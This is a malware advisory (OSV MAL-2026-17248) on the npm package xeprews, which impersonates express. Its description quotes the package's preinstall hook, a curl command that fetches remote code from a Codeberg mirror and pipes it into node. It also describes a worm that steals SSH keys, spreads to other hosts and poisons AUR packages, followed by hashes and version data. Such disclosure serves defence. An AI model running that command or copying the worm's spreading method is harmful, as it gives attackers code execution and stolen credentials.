Malicious code in xeprews (npm)
The package xeprews impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd. On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the
MAL-2026-17248
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17248
xeprews
Source reference: /affected/0/package/name
- Affected versions
- 5.2.1
Source reference:
/affected/0/versions5.2.2Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "xeprews",
"purl": "pkg:npm/xeprews",
"ecosystem": "npm"
},
"versions": [
"5.2.1",
"5.2.2"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/xeprews/MAL-2026-17248.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "6951da21cc0e8c6326c5a2dd3c68a542616188078e41f81cf769539c8f8e56f71b9fbf",
"sha256": "4c2a000aa786ae63605c3b66e8e3366d91f3220c8bcce7915ad438be535f24ca"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "3278b86e26ecbe57a6a5a5216b8ed4655d4b21dd",
"sha512_sri": "sha512-LvmzJ/7aoujfXcp+LCjYs+DCani42ox+4gyaGrd0I2BLACD630Jx8mbgypRzIQB0UICgwGMdlyg0ENLqTwUXbw=="
},
"filename": "xeprews-5.2.1.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #85896 · Revision 1
- Added to Heist Feed
- Publisher date